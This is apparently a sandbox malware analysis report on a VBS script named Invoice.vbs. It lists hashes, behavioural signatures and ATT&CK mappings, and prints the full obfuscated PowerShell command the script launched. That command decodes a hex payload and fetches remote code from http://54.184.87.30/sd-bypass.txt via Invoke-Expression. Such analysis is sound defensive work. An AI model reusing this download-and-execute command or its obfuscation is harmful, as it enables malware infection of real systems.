dcd4d3f6173c2283b4ed18fcf810870db068d967b7deb0cc2bcf95db1d3fce11

General

Target

Invoice.vbs
Size

2KB
MD5

157bd8f697377d2442ac93eda10dec94
SHA1

9e5b8e8d2349aaedcc7b93fee831990b1f6b8ad6
SHA256

dcd4d3f6173c2283b4ed18fcf810870db068d967b7deb0cc2bcf95db1d3fce11
SHA512

d86412ba6b642759af963285815b7f9679e6cff17baa78e6e3fa6b984c80179b334ed010d587649449ee4f643d2103722fe4c4805ee7bde59ac21ab3a14ee9b7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.184.87.30/sd-bypass.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1776 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1776 powershell.exe

pid	process
1776	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1776	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1960 wrote to memory of 1776	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1776	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1776	1960	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://54XXX184XXX87XXX30/sd-bypassXXXtxt'.Replace('XXX','.');$Shib='2%###%2###20###3d###27###%5###5%###%8###20###%3###%f###%9###%e###7%###2e###57###5%###%6###20###%3###%f###%9###%e###6c###%9###%f###53###%e###5%###27###2e###52###65###70###6c###61###63###65###28###27###%5###5%###%8###20###%3###%f###%9###%e###27###2c###27###6e###%5###27###29###2e###52###65###70###6c###61###63###65###28###27###5%###%6###20###%3###%f###%9###%e###27###2c###27###%5###62###%3###27###29###2e###52###65###70###6c###61###63###65###28###27###%f###53###27###2c###27###65###27###29###3b###2%###%3###%3###20###3d###20###27###%%###%f###53###20###%3###%f###%9###%e###20###%c###53###%f###53###%3###%f###%9###%e###6e###%7###27###2e###52###65###70###6c###61###63###65###28###27###53###20###%3###%f###%9###%e###20###27###2c###27###57###6e###27###29###2e###52###65###70###6c###61###63###65###28###27###53###%f###27###2c###27###6f###61###%%###27###29###2e###52###65###70###6c###61###63###65###28###27###%3###%f###%9###%e###27###2c###27###5%###72###%9###27###29###3b###2%###%1###20###3d###27###%9###60###%5###6f###73###20###%3###%f###%9###%e###60###57###60###%2###5%###%3###20###%3###%f###%9###%e###6a###60###%5###5%###%8###20###%3###%f###%9###%e###20###2%###%2###29###2e###2%###%3###%3###28###2%###5%###52###55###%d###50###29###27###2e###52###65###70###6c###61###63###65###28###27###6f###73###20###%3###%f###%9###%e###27###2c###27###58###28###6e###60###65###27###29###2e###52###65###70###6c###61###63###65###28###27###%2###5%###%3###20###%3###%f###%9###%e###27###2c###27###2d###%f###62###27###29###2e###52###65###70###6c###61###63###65###28###27###5%###%8###20###%3###%f###%9###%e###27###2c###27###60###63###60###5%###27###29###3b###26###28###27###%9###27###2b###27###%5###58###27###29###28###2%###%1###20###2d###%a###6f###69###6e###20###27###27###29###7c###26###28###27###%9###27###2b###27###%5###58###27###29###3b'.Replace('%','4');Invoke-Expression (-join ($Shib -split '###' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1776-53-0x0000000000000000-mapping.dmp

Download
memory/1776-55-0x000007FEF3120000-0x000007FEF3C7D000-memory.dmp

Filesize
11.4MB

Download
memory/1776-56-0x0000000002740000-0x0000000002742000-memory.dmp

Filesize
8KB

Download
memory/1776-57-0x0000000002742000-0x0000000002744000-memory.dmp

Filesize
8KB

Download
memory/1776-58-0x0000000002744000-0x0000000002747000-memory.dmp

Filesize
12KB

Download
memory/1776-59-0x000000000274B000-0x000000000276A000-memory.dmp

Filesize
124KB

Download
memory/1960-52-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing